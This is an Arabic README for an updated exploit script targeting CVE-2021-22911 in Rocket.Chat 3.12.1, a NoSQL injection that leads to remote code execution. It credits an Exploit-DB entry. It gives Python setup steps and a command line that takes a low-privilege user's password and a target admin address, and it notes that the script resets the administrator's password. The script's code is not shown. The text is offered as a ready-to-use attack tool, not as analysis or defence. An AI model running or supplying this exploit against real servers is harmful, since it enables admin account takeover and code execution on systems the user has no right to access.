استغلال محدّث لـ CVE-2021-22911 (Rocket.Chat 3.12.1 - حقن NoSQL إلى RCE (بدون مصادقة))

الإسناد الأصلي إلى : https://www.exploit-db.com/exploits/50108

الإعداد

• أنشئ بيئة بايثون الافتراضية وقم بتثبيت التبعيات

$ python -m venv venv
$ source venv/bin/activate
$ pip install requests oathtool

الاستخدام

• أضفتُ وسيطًا جديدًا -p يأخذ كلمة مرور المستخدم منخفض الصلاحية ويستخدمها أيضًا لإعادة تعيين كلمة مرور المسؤول

$ python 50108.py -u "[email protected]" -p "<low priv user password>" -a "admin@localhost" -t "http://<ip>:<port>"